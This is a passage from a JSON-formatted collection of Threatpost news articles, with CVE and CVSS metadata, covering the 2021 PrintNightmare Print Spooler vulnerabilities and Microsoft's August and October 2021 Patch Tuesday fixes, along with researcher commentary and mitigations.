Microsoft\u2019s CVE nomenclature too: \u201cIt\u2019s curious that the CVE here is -1675 while most of the CVEs Microsoft patched in June are -31000 and higher. This could be an indicator that they have known about this bug for some time, and fully addressing it is not trivial.\u201d\n\nRyan Garbars, application security engineer at Automox, told Threatpost that his team was working on replicating the exploit on a patched machine.\n\n\u201cNumerous sources state that the PrintNightmare vulnerability is not CVE-2021-1675, indicating that the most recent Windows patch will not protect against the vulnerability,\u201d he said. \u201cTo make sure that their environment is secure from this vulnerability users should disable the Spooler service within their environment, if possible.\u201d\n\nRapid7 researchers meanwhile [noted that](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>) they \u201chave confirmed that public exploits work against fully patched Windows Server 2019 installations.\u201d\n\n## **PrintNightmare: Full Remote Takeover**\n\nSuccessful exploitation of CVE-2021-1675 could open the door to complete system takeover by remote adversaries. However, to achieve that requires a targeted user to be authenticated to the Spooler service.\n\n\u201cThis vulnerability can provide full domain access to a domain controller under a SYSTEM context,\u201d Marius Sandbu, guild lead for public cloud at TietoEVRY, added in a [Wednesday writeup,](<https://msandbu.org/printnightmare-cve-2021-1675/>) \u201cTo be able to use this exploit it requires that you authenticate as a domain user.\u201d\n\nTenable\u2019s Tillis added, \u201cBased on the information available, an attacker with a low-level user account could exploit this vulnerability\u2026and pivot to other areas of the target network. The low-level account could be obtained via an additional vulnerability or even a phishing attack.\u201d\n\n\u201cThe PrintNightmare vulnerability can be utilized to perform local privilege escalation and remote code execution within Windows environments through the Spooler service by exploiting the RpcAddPrinterDriver call, allowing for an arbitrary DLL to be loaded on the remote system, or as an escalated user,\u201d Automox\u2019 Garber told Threatpost. \u201cTo exploit the remote code-execution portion of the vulnerability, it is required to have a user authenticate to the Spooler service on the target system. Considering it is common to have the Spooler service enabled on most Windows systems in a standard domain environment, this vulnerability is very dangerous and can allow an attacker to easily gain remote code execution through the Windows environment with a single set of credentials.\u201d\n\nMicrosoft updated its advisory to note the potential for RCE, but didn\u2019t update the CVSS rating, despite noting that exploitation would require \u201clow complexity.\u201d For their part, researchers are treating PrintNightmare as having \u201ccritical\u201d status.\n\n\u201cIt\u2019s interesting to note Microsoft did not change the CVSS rating when they revised their advisory to indicate this could lead to remote code execution,\u201d Childs said, adding that the bug is now \u201cquite severe.\u201d He added, \u201cI would treat this as a critical-rated bug.\u201d\n\n\n\nThe Sangfor PoC found on GitHib.\n\n\u201cWithout authentication, the flaw could be exploited to elevate privileges, making this vulnerability a valuable link in an attack chain,\u201d Tillis noted.\n\nThe team at Sangfor (researchers Zhiniang Peng and Xuefeng Li) said in their GitHub posting (the copied version [is here](<https://github.com/afwu/PrintNightmare>)) that in the domain controller (DC) environment, the Print Spooler service is normally enabled, so the compromise of any DC user could likely result in RCE.\n\n## **More Print Spooler Bugs and Exploits Coming Soon**\n\nThey also claimed to have found \u201cmore hidden bombs\u201d in Print Spooler, which they plan to unveil at Black Hat in August.\n\n\u201cWindows Print Spooler has a long history of vulnerabilities and its ubiquity can allow for serious impact on targets,\u201d Tillis noted in the Tenable [writeup on Tuesday](<https://www.tenable.com/blog/cve-2021-1675-proof-of-concept-leaked-for-critical-windows-print-spooler-vulnerability>). \u201cMost notably, Print Spooler vulnerabilities were tied to the Stuxnet attacks over a decade ago. More recently, CVE-2020-1337 was a zero-day in print spooler disclosed at last year\u2019s Black Hat and DEF CON events, which happened to be a patch bypass for CVE-2020-1048, another Windows Print Spooler vulnerability that was patched in May 2020.\u201d\n\n\u201cSince the proof-of-concept code has leaked online in various locations, expect this but to be wrapped up into active exploits soon,\u201d Childs said. \u201cThis threat will likely increase after Black Hat when researchers present their findings on the bugs.\u201d\n\nThe patch may not be completely effective, but there are mitigations, such as taking Print Spooler offline. And, \u201cit should be noted that most endpoints will be safe from this attack with the built-in Windows Firewall default rules,\u201d Sandbu said.\n\nSchrader added that users should regularly check for system integrity and control changes.\n\n\u201cAs the vulnerability gives an attacker full control related to confidentiality, integrity and availability, users should also be cautious about their sensitive data,\u201d he said.\n\n_**This article was updated at 3 p.m. ET on June 30 with additional input from security researchers.**_\n", "cvss3": {}, "published": "2021-06-30T16:02:29", "type": "threatpost", "title": "PoC Exploit Circulating for Critical Windows Print Spooler Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-1048", "CVE-2020-1337", "CVE-2021-1675"], "modified": "2021-06-30T16:02:29", "id": "THREATPOST:EED27183B3F49112A9E785EA56534781", "href": "https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-13T19:49:18", "description": "One day after dropping its scheduled August Patch Tuesday update, Microsoft issued a warning about yet another unpatched privilege escalation/remote code-execution (RCE) vulnerability in the Windows Print Spooler that can be filed under the [PrintNightmare umbrella](<https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/>).\n\nThe news comes amid plenty of PrintNightmare exploitation. Researchers from CrowdStrike warned in a [Wednesday report](<https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/>) that the operators of the Magniber ransomware quickly weaponized CVE-2021-34527 to attack users in South Korea, with attacks dating back to at least July 13. And Cisco Talos [said Thursday](<https://blog.talosintelligence.com/2021/08/vice-society-ransomware-printnightmare.html>) that the Vice Society gang was seen using CVE-2021-1675 and CVE-2021-34527 to spread laterally across a victim\u2019s network as part of a recent ransomware attack.\n\n\u201cIn technology, almost nothing ages gracefully,\u201d Chris Clements, vice president of solutions architecture and Cerberus security officer at Cerberus Sentinel, told Threatpost. \u201cThe Print Spooler in Windows is proving that rule. It\u2019s likely that the code has changed little in the past decades and likely still bears a striking resemblance to source code that was made public in previous Windows leaks. I\u2019ve heard it said that ransomware gangs might also be referred to as \u2018technical debt collectors,\u2019 which would be funnier if the people suffering most from these vulnerabilities weren\u2019t Microsoft\u2019s customers.\u201d\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe fresh zero-day bug, tracked as CVE-2021-36958, carries a CVSS vulnerability-severity scale rating of 7.3, meaning that it\u2019s rated as \u201cimportant.\u201d Microsoft said that it allows for a local attack vector requiring user interaction, but that the attack complexity is low, with few privileges required.\n\n\u201cA remote code-execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\u201d the computing giant explained in its [Wednesday advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>). \u201cAn attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change or delete data; or create new accounts with full user rights.\u201d\n\nThe CERT Coordination Center actually flagged the issue in mid-July, when it warned that a [working exploit](<https://twitter.com/gentilkiwi/status/1416429860566847490>) was available. That proof-of-concept (PoC), issued by Mimikatz creator Benjamin Delpy, comes complete with a video.\n\n> Hey guys, I reported the vulnerability in Dec'20 but haven't disclosed details at MSRC's request. It looks like they acknowledged it today due to the recent events with print spooler.\n> \n> \u2014 Victor Mata (@offenseindepth) [August 11, 2021](<https://twitter.com/offenseindepth/status/1425574625384206339?ref_src=twsrc%5Etfw>)\n\nOn Thursday, CERT/CC issued more details on the issue, explaining that it arises from an oversight in signature requirements around the \u201cPoint and Print\u201d capability, which allows users without administrative privileges to install printer drivers that execute with SYSTEM privileges via the Print Spooler service.\n\nWhile Microsoft requires that printers installable via Point are either signed by a WHQL release signature or by a trusted certificate, Windows printer drivers can specify queue-specific files that are associated with the use of the device, which leaves a loophole for malicious actors.\n\n\u201cFor example, a shared printer can specify a CopyFiles directive for arbitrary files,\u201d according to the CERT/CC [advisory](<https://www.kb.cert.org/vuls/id/131152>). \u201cThese files, which may be copied over alongside the digital-signature-enforced printer driver files, are not covered by any signature requirement. Furthermore, these files can be used to overwrite any of the signature-verified files that were placed on a system during printer driver install. This can allow for local privilege escalation to SYSTEM on a vulnerable system.\u201d\n\nMicrosoft credited Victor Mata of FusionX at Accenture Security with originally reporting the issue, which Mata said occurred back in December 2020:\n\n> Hey guys, I reported the vulnerability in Dec\u201920 but haven\u2019t disclosed details at MSRC\u2019s request. It looks like they acknowledged it today due to the recent events with print spooler.\n> \n> \u2014 Victor Mata (@offenseindepth) [August 11, 2021](<https://twitter.com/offenseindepth/status/1425574625384206339?ref_src=twsrc%5Etfw>)\n\nSo far, Microsoft hasn\u2019t seen any attacks in the wild using the bug, but it noted that exploitation is \u201cmore likely.\u201d With a working exploit in circulation, that seems a fair assessment.\n\n## **Print Spooler-Palooza and the PrintNightmare **\n\nDelpy characterized this latest zero-day as being part of the string of Print Spooler bugs collectively known as PrintNightmare.\n\nThe bad dream started in early July, when a PoC exploit for a bug tracked as CVE-2021-1675 was [dropped on GitHub](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>). The flaw was originally addressed in [June\u2019s Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>) from Microsoft as a minor elevation-of-privilege vulnerability, but the PoC showed that it\u2019s actually a critical Windows security vulnerability that can be used for RCE. That prompted Microsoft to issue a different CVE number \u2013 in this case, CVE-2021-34527 \u2013 to designate the RCE variant, and it prompted [an emergency partial patch](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>), too.\n\n\u201cThis vulnerability is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a different vulnerability in RpcAddPrinterDriverEx(),\u201d the company wrote in the advisory at the time. \u201cThe attack vector is different as well. CVE-2021-1675 was addressed by the June 2021 security update.\u201d\n\nBoth bugs \u2013 which are really just variants of a single issue \u2013 are collectively known as PrintNightmare. The PrintNightmare umbrella expanded a bit later in July, when yet another, [similar bug was disclosed](<https://threatpost.com/microsoft-unpatched-bug-windows-print-spooler/167855/>), tracked as CVE-2021-34481. It remained unpatched until it was finally addressed with [an update](<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>) issued alongside the [August Patch Tuesday updates](<https://threatpost.com/exploited-windows-zero-day-patch/168539/>) (which itself detailed three additional Print Spooler vulnerabilities, one critical).\n\n## **How to Protect Systems from Print Spooler Attacks**\n\nAs mentioned, there\u2019s no patch yet for the bug, but users can protect themselves by simply stopping and disabling the Print Spooler service:\n\n\n\nSource: Microsoft.\n\nCERT/CC also said that since public exploits for Print Spooler attacks use the SMB file-sharing service for remote connectivity to a malicious shared printer, blocking outbound connections to SMB resources would thwart some attacks by blocking malicious SMB printers that are hosted outside of the network.\n\n\u201cHowever, Microsoft indicates that printers can be shared via the Web Point-and-Print Protocol, which may allow installation of arbitrary printer drivers without relying on SMB traffic,\u201d according to CERT/CC. \u201cAlso, an attacker local to your network would be able to share a printer via SMB, which would be unaffected by any outbound SMB traffic rules.\u201d\n\nIn its update advisory for CVE-2021-34481, Microsoft also detailed how to amend the default Point and Print functionality, which prevents non-administrator users from installing or updating printer drivers remotely and which could help mitigate the latest zero-day.\n\nWorried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on **[Aug. 17 at 11AM EST for this LIVE discussion](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T13:19:50", "type": "threatpost", "title": "Microsoft Warns: Another Unpatched PrintNightmare Zero-Day", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34481", "CVE-2021-34527", "CVE-2021-36958"], "modified": "2021-08-12T13:19:50", "id": "THREATPOST:ADA9E95C8FD42722E783C74443148525", "href": "https://threatpost.com/microsoft-unpatched-printnightmare-zero-day/168613/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-13T10:46:13", "description": "Today is Microsoft\u2019s October 2021 Patch Tuesday, and it delivers fixes for four zero-day vulnerabilities, one of which is being exploited in a far-reaching espionage campaign that delivers the new [MysterySnail RAT malware](<https://threatpost.com/windows-zero-day-exploited-espionage/175432/>) to Windows servers.\n\n[Microsoft reported](<https://msrc.microsoft.com/update-guide/vulnerability>) a total of 74 vulnerabilities, three of which are rated critical.\n\n## MysterySnail Exploits Win32K Bug\n\nSecurity researchers pointed to [CVE-2021-40449](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449>), an elevation of privilege vulnerability in Win32k, as standing out from the crowd of patches, given that It\u2019s been exploited in the wild as a zero-day.\n\nThis summer, Kaspersky researchers discovered that the exploit was being used to elevate privileges and take over Windows servers as part of a Chinese-speaking advanced persistent threat (APT) campaign from the APT IronHusky.\n\nThe exploit chain ended with a freshly discovered remote access trojan (RAT) [dubbed MysterySnail](<https://threatpost.com/windows-zero-day-exploited-espionage/175432/>) being installed on compromised servers, with the goal of stealing data.\n\nBharat Jogi, Qualsys senior manager of vulnerability and threat research, told Threatpost on Tuesday that if left unpatched, \u201cMysterySnail has the potential to collect and exfiltrate system information from compromised hosts, in addition to other malicious users having the ability to gain complete control of the affected system and launch further attacks.\u201d\n\nJay Goodman, Automox director of product marketing, told Threatpost via email that these kinds of privilege elevation attacks \u201ccan be used to access beyond what the current user context of the device would allow, enabling attackers to perform unauthorized action, delete or move data, view private information, or install malicious software.\u201d\n\nThis bug, rated Important, is found in all supported versions of Windows.\n\nGreg Wiseman, Rapid7 senior security researcher, told Threatpost that this vulnerability is \u201clikely being used alongside Remote Code Execution (RCE) and/or social engineering attacks to gain more complete control of targeted systems.\u201d\n\nSatnam Narang, staff research engineer at Tenable, noted that elevation of privilege flaws \u201care most valuable in post-compromise scenarios once an attacker has gained access to a target system through other means, in order to execute code with elevated privileges.\u201d\n\nImmersive Labs\u2019 Kevin Breen, director of cyber threat research, said that this all points to prioritizing this patch, particularly given how common these vulnerabilities are in ransomware attack chains: \u201cGaining this level of access on a compromised host is the first step towards becoming a domain admin \u2013 and securing full access to a network,\u201d he told Threastpost. \u201cAlmost every ransomware attack reported this year has included the use of one or more privilege escalation vulnerabilities as part of the attacker\u2019s workflow, so this is serious stuff indeed.\u201d\n\n## A PrintNightmare Fix to Fix the Other PrintNightmare Fix\n\nOther fixes released in the October Patch Tuesday batch include those that address what was a summer\u2019s full of Print Spooler-related patches. There\u2019s been a [steady](<https://threatpost.com/microsoft-patch-tuesday-exploited-windows-zero-day/169459/>) [stream](<https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/>) of these [patches](<https://threatpost.com/microsoft-unpatched-printnightmare-zero-day/168613/>) for flaws in Windows Print Spooler following June\u2019s [disclosure of the PrintNightmare vulnerability](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>) \u2013 a bug that allowed threat actors to conduct remote code execution (RCE) and to gain local system privileges.\n\nThis month\u2019s release includes a fix for [CVE-2021-36970](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36970>), a spoofing vulnerability in Microsoft\u2019s Windows Print Spooler that has a CVSSv3 score of 8.8.\n\nChris Morgan, senior cyber threat intelligence analyst at Digital Shadows, said that the spoofing vulnerability fix Microsoft put out today is meant to fix the problems that previous patches have introduced.\n\n\u201cWhile Microsoft provided a fix in [their September 2021 update,](<https://threatpost.com/microsoft-patch-tuesday-exploited-windows-zero-day/169459/>) the patch resulted in a number of management problems,\u201d he told Threatpost. \u201cCertain printers required users to repeatedly input their administrator credentials every time an application attempted to print or had a client connect to a print server.\n\n\u201cOther problems included event logs recording error messages and denying users the ability to perform basic prints\u201d he continued. \u201cAs a result, many may have likely skipped the update due to its operational impact, ultimately leaving the risk posed by PrintNightmare in place.\u201d\n\nThis vulnerability was discovered by researchers XueFeng Li and Zhiniang Peng of Sangfor, who were also credited with the discovery of CVE-2021-1675, one of two vulnerabilities known as PrintNightmare.\n\nSatnam Narang, staff research engineer at Tenable noted that \u201cWhile no details have been shared publicly about the flaw, this is definitely one to watch for, as we saw a constant stream of Print Spooler-related vulnerabilities patched over the summer while ransomware groups began incorporating PrintNightmare into their affiliate playbook. We strongly encourage organizations to apply these patches as soon as possible.\u201d\n\n## RCE Affects Microsoft Word, Office, SharePoint\n\nAnother vulnerability worth noting is CVE-2021-40486, a critical RCE affecting Microsoft Word, Microsoft Office and some versions of SharePoint Server that can be exploited via the Preview Pane.\n\nGina Geisel, Automox product and partner marketing professional, noted that this vulnerability isn\u2019t new to Microsoft, with several other similar CVEs documented this year. In this case, the RCE vulnerability exists in some Microsoft apps when they fail to properly handle objects in memory.\n\nWith a low attack complexity, this vulnerability requires a user opening a specially crafted file either by email or via a website, either hosted by the attacker or through a compromised website that accepts or hosts user-provided content.\n\n\u201cAn attacker who successfully exploits this vulnerability can use this file to perform actions in the context of the current user,\u201d Geisel explained. \u201cFor example, the file could take actions on behalf of the logged-on user with the same permissions as the current user.\u201d\n\n## Microsoft SharePoint Server RCE\n\nImmersive Labs\u2019 Breen told Threatpost that this RCE vulnerability \u2013 tracked as [CVE-2021-40487](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40487>) rated as 8.1 out of 10 CVSS score and marked as \u201cexploitation more likely\u201d \u2013 will be more difficult for an attacker to exploit, given that it requires an authenticated user on the domain.\n\nBut gaining RCE on a SharePoint server \u201copens up a lot of avenues for further exploitation,\u201d he noted via email.\n\n\u201cInternal SharePoint servers are often used to host company-sensitive documents and provide an intranet for staff to interact with,\u201d Breen explained. \u201cIf an attacker could manipulate the content of these articles or replace valid documents with malicious ones, they could steal credentials or trick targeted users into installing additional malware.\u201d\n\n## Highest CVSS Award Goes to Microsoft Exchange Server RCE\n\n[CVE-2021-26427](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26427>), the latest in Exchange Server RCEs, takes the severity cake this month, with a CVSS score of 9.0 out of 10. In spite of this hgh severity rating, Microsoft has marked it as being \u201cexploitation less likely,\u201d perhaps due to the what Breen called the \u201cnetwork adjacent vector.\u201d\n\nIn other words, he explained, \u201can attacker would already need access to your network in order to exploit this vulnerability. Email servers will always be prime targets, simply due to the amount of data contained in emails and the range of possible ways attackers could use them for malicious purposes.\u201d\n\nWhile it\u2019s not \u201cright at the top\u201d of Breen\u2019s list of priorities to patch, \u201cit\u2019s certainly one to be wary of.\u201d\n\nRapid7\u2019s Wiseman concurs: This is a notable vulnerability, though it\u2019s mitigated \u201cby the fact that attacks are limited to a \u2018logically adjacent topology,'\u201d meaning, in other words, that it can\u2019t be exploited directly over the public Internet.\n\n## Windows Hyper-V\n\nWiseman called on virtualization administrators to take heed of two RCEs affecting Windows Hyper-V: [CVE-2021-40461](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40461>) and [CVE-2021-38672](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38672>), both of which affect relatively new versions of Windows and which are considered critical.\n\nWindows Hyper-V is a native hypervisor that can create and run virtual machines (VMs) on x86-64 systems running Windows. These two flaws both allow a VM to escape from guest to host by triggering a memory allocation error, allowing it to read kernel memory in the host.\n\nChristopher Hass, Autmox director of information security and research, said that exploitation of these bugs \u201ccould allow a malicious guest VM to read kernel memory in the host.\u201d\n\nNeither vulnerability has been exploited publicly, and exploitation is less likely, however organizations using Hyper-V should patch these vulnerabilities as soon as possible, Hass recommended.\n\n## One Step Away From Domain Admin\n\nThere\u2019s one bug that swings above its weight range: the DNS server remote code execution (RCE) vulnerability that\u2019s tracked as [CVE-2021-40469](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40469>).\n\nJake Williams, Co-Founder and CTO at BreachQuest, calls this one \u201cinteresting,\u201d as in, that curse about [living in interesting times](<https://en.wikipedia.org/wiki/May_you_live_in_interesting_times>).\n\nIts base score severity rating is 7.2, but its attack complexity is low, and an attack can be launched remotely. Exploitation does, however, require what [VulDB](<https://vuldb.com/?id.184280>) calls \u201can enhanced level of successful authentication.\u201d\n\nEven if that makes it tough to weaponize, this bug is still potentially uber nasty, given that, for one thing, it\u2019s been publicly disclosed in a proof of concept, and also that DNS servers sit in such a crucial spot.\n\n\u201cWhile it will likely be difficult to weaponize, DNS servers are typically run on domain controllers, making this extremely serious,\u201d Williams noted. \u201cA threat actor that gains remote code execution on a domain controller is likely to gain immediate domain administrator permissions. In the best case scenario, they are a mere step away from taking domain administrator.\u201d\n\nThis isn\u2019t the first time that Microsoft has had to stomp on an RCE vulnerability in DNS server this year, including in [March\u2019s Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-updates-critical-bugs/164621/>). This time around, the vulnerability affects various versions of Windows 7, 8.1 and 10, as well as Windows Server.\n\n## Windows Kernel Elevation of Privilege Flaw\n\nCVE-2021-41335, an elevation of privilege vulnerability that exists when the Windows kernel fails to properly handle objects in memory, is rated high severity, and it\u2019s been publicly disclosed in a proof-of-concept (POC) showing how successful exploitation could allow an attacker to run arbitrary code in kernel mode.\n\nExploitation would enable an attacker to install programs; view, change, or delete data; or create accounts with full user rights. To exploit this vulnerability, an attacker would first have to log on to the system and then run a specially crafted application to take control of the system.\n\nJustin Knapp, Automox senior product marketing manager, explained that \u201cElevation of privilege vulnerabilities like this are often an important step in the cyber kill chain and should be immediately prioritized and patched.\u201d\n\n## Windows AppContainer Firewall Rules Security Feature Bypass\n\nTracked as [CVE-2021-41338](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41338>), this vulnerability is, again, high severity \u2013 it allows an attacker to bypass the security rules of Windows AppContainer Firewall \u2013 as well as publicly disclosed.\n\nAppContainers are designed to protect against infiltration from third-party apps. They essentially isolate the runtime environment of applications with the goal of blocking malicious code.\n\nThis vulnerability results in loss of confidentiality and can be exploited without any user interaction.\n\nMaarten Buis, Automox product marketing manager, noted that a successful attacker that exploits this vulnerability could run arbitrary code on the endpoint, but they need to have administrative privileges before they can meaningfully exploit it.\n\n\u201cHowever, there is still a significant risk because no user interaction is required, and no special endpoint conditions are required for an attack to succeed,\u201d Buis explained to Threatpost via email .\n\nThere are no reports of the vulnerability having been actively exploited \u2013 yet. Still, Automox recommends a rapid patch rollout \u2013 as in, within 72 hours of the patch being made available \u2013 given that it\u2019s been publicly disclosed in a proof of concept by James Forshaw of Google\u2019s Project Zero.\n\nAleks Haugom, Automox product marketing manager, noted that, given the sheer number of apps users download, \u201cmaking sure that AppContianers cannot be compromised is important to every company\u2019s security hygiene.\u201d\n\n## How to Prioritize?\n\nWilliams said that he doesn\u2019t want to sound like a broken record, but he\u2019s still going to say what security experts say every Patch Tuesday. To wit, \u201cPatch now.\u201d\n\nThat\u2019s particularly true for the MysterySnail campaign, he said: \u201cSeriously, this is not a patch Tuesday to delay on,\u201d he advised. \u201cThreat actors are actively exploiting the vulnerability for CVE-2021-40449 to elevate from user to administrator permissions on compromised systems. While CVE-2021-40449 doesn\u2019t allow for remote exploitation, that doesn\u2019t mean it can be taken lightly. Threat actors regularly gain access to target machines using phishing attacks and vulnerabilities such as CVE-2021-40449 allow them to evade more effectively bypass endpoint controls and evade detection.\u201d\n\nBesides which, MysterySnail\u2019s success in weaponizing this flaw means that other APTs will soon follow, Williams said: \u201cBecause the code for this has already been weaponized by one threat actor, we should expect to see it weaponized by others more quickly because there is already sample exploit code in the wild to work with.\u201d\n\nDanny Kim, Principle Architect at Virsec, who spent time at Microsoft during his graduate work on the OS security development team, voted for prioritizing the three critical remote code execution vulnerabilities: CVE-2021-40469, CVE-2021-26427 and CVE-2021-40487, which affect a wide range of Windows versions.\n\n\u201cThese vulnerabilities not only have a high to critical CVSS rating, but two of the three attacks (CVE-2021-40487, CVE-2021-40469) can be executed remotely,\u201d he stressed. \u201cRemote Code Execution (RCE) attacks are especially devastating because once the exploit is executed, [the attackers] can launch any kind of cyberattack, including ransomware.\n\nHe noted that RCE vulnerabilities were also the root cause of the Hafnium and Kaseya attacks. \u201cTrying to mitigate the attacker\u2019s actions after they have gained access is significantly harder than stopping the actions that led to the successful exploit,\u201d Kim pointed out. \u201cThis is why runtime monitoring of enterprises\u2019 server workloads is becoming a key part of today\u2019s cybersecurity. Stopping the exploitation of these vulnerabilities has to start with equipping the servers themselves with constant, deterministic runtime protection, not just detection.\u201d\n\n_**Check out our free **_[_**upcoming live and on-demand online town halls**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-12T21:51:06", "type": "threatpost", "title": "Microsoft Oct. Patch Tuesday Squashes 4 Zero-Day Bugs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26427", "CVE-2021-36970", "CVE-2021-38672", "CVE-2021-40449", "CVE-2021-40461", "CVE-2021-40469", "CVE-2021-40486", "CVE-2021-40487", "CVE-2021-41335", "CVE-2021-41338"], "modified": "2021-10-12T21:51:06", "id": "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "href": "https://threatpost.com/microsoft-patch-tuesday-bug-exploited-mysterysnail-espionage-campaign/175431/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-11T19:56:07", "description": "Microsoft has patched 51 security vulnerabilities in its scheduled August Patch Tuesday update, including seven critical bugs, two issues that were publicly disclosed but unpatched until now, and one that\u2019s listed as a zero-day that has been exploited in the wild.\n\nOf note, there are 17 elevation-of-privilege (EoP) vulnerabilities, 13 remote code-execution (RCE) issues, eight information-disclosure flaws and two denial-of-service (DoS) bugs.\n\nThe update also includes patches for three more Print Spooler bugs, familiar from the PrintNightmare saga.\n\n[](<https://threatpost.com/infosec-insider-subscription-page/>)\n\n\u201cFortunately, it was a lighter month than usual,\u201d said Eric Feldman, senior product marketing manager at Automox, in a [Patch Tuesday analysis](<https://blog.automox.com/automox-experts-weigh-in-august-patch-tuesday-2021>) from the vendor. \u201cThis represents a 56 percent reduction in overall vulnerabilities from July, and 33 percent fewer vulnerabilities on average for each month so far this year. We have also seen a similar reduction in critical vulnerabilities this month, with 30 percent less compared to the monthly average.\u201d\n\n## **Windows Critical Security Vulnerabilities**\n\nThe seven critical bugs [addressed in August](<https://msrc.microsoft.com/update-guide/>) are as follows:\n\n * CVE-2021-26424 \u2013 Windows TCP/IP RCE Vulnerability\n * CVE-2021-26432 \u2013 Windows Services for NFS ONCRPC XDR Driver RCE Vulnerability\n * CVE-2021-34480 \u2013 Scripting Engine Memory Corruption Vulnerability\n * CVE-2021-34530 \u2013 Windows Graphics Component RCE Vulnerability\n * CVE-2021-34534 \u2013 Windows MSHTML Platform RCE Vulnerability\n * CVE-2021-34535 \u2013 Remote Desktop Client RCE Vulnerability\n * CVE-2021-36936 \u2013 Windows Print Spooler RCE Vulnerability\n\nThe bug tracked as **CVE-2021-26424** exists in the TCP/IP protocol stack identified in Windows 7 and newer Microsoft operating systems, including servers.\n\n\u201cDespite its CVSS rating of 9.9, this may prove to be a trivial bug, but it\u2019s still fascinating,\u201d said Dustin Childs of Trend Micro\u2019s Zero Day Initiative (ZDI) in his [Tuesday analysis](<https://www.zerodayinitiative.com/blog/2021/8/10/the-august-2021-security-update-review>). \u201cAn attacker on a guest Hyper-V OS could execute code on the host Hyper-V server by sending a specially crafted IPv6 ping. This keeps it out of the wormable category. Still, a successful attack would allow the guest OS to completely take over the Hyper-V host. While not wormable, it\u2019s still cool to see new bugs in new scenarios being found in protocols that have been around for years.\u201d\n\nThe next bug, **CVE-2021-26432** in Windows Services, is more likely to be 